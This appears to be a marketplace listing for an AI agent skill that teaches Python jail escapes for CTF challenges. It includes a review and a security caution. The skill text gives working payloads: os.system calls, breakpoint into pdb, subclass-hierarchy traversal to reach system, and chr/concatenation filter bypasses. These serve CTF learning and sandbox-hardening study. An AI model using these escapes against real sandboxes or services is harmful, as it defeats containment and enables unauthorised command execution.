Our review
A skill for escaping Python sandbox restrictions in restricted eval/exec environments, often used in CTF challenges.
Strengths
- Provides a quick reference for common escape techniques.
- Includes both basic and advanced methods (class hierarchy).
- Offers encoding/concatenation bypass strategies.
- Includes debugging helpers to find useful class indices.
Limitations
- Techniques may not work on hardened sandboxes with additional restrictions.
- Relies on specific Python versions for some methods (e.g., breakpoint in 3.7+).
- Does not cover all possible filter bypasses.
Use when you need to execute code in a restricted Python environment, such as a CTF jail or a sandboxed eval.
Do not use in production environments or where sandbox security is a requirement.
Security analysis
CautionThis skill teaches Python sandbox escape techniques, which involve executing system commands and bypassing restrictions. While intended for CTF challenges, it could enable malicious use if applied inappropriately. The use of Bash and system access warrants caution.
- •Instructs execution of arbitrary system commands via Python's os module
- •Provides methods to bypass Python security filters and access restricted functions
- •Could be used to escalate privileges or exfiltrate data if misapplied
Examples
I'm in a Python jail where I can only use eval. How do I execute a shell command to read the flag?The jail blocks the word 'os', so I can't use __import__('os'). How can I still call system?Builtins are not available in the Python jail. Use the class hierarchy to get to os.system.name: pyjail description: Escapes Python sandbox restrictions. Use when working with restricted Python eval/exec environments, sandbox escapes, filtered input challenges, or Python jail challenges. allowed-tools: Bash, Read, Write, Grep, Glob
Python Jail Escape Skill
Quick Workflow
Progress:
- [ ] Identify restrictions (blocked keywords/chars)
- [ ] Try basic escapes first
- [ ] If builtins blocked, use class hierarchy
- [ ] Bypass filters with encoding/concatenation
- [ ] Execute command to get flag
Quick Reference - Common Escapes
# Basic command execution
__import__('os').system('cat flag.txt')
eval("__import__('os').system('id')")
exec("import os; os.system('ls')")
# Using breakpoint (Python 3.7+)
breakpoint() # Drops into pdb, then !cat flag.txt
# No builtins - class hierarchy
().__class__.__base__.__subclasses__()[132].__init__.__globals__['system']('cat flag')
# Keyword bypass
__import__('o'+'s').system('cat flag')
__import__(chr(111)+chr(115)).system('cat flag')
Reference Files
| Topic | Reference | |-------|-----------| | Bypass Techniques | reference/bypass.md | | Complete Payloads | reference/payloads.md |
Quick Debugging
# Find useful class index
for i, c in enumerate(().__class__.__base__.__subclasses__()):
if 'wrap' in str(c): print(i, c)
# Check available builtins
dir(__builtins__)
Security Audit Scanner
Security
Analyzes code to detect OWASP Top 10 vulnerabilities.
OWASP Security Checklist
Security
Generates application security checklists based on the OWASP Top 10.
Threat Model Generator
Security
Generates threat model documents with STRIDE analysis.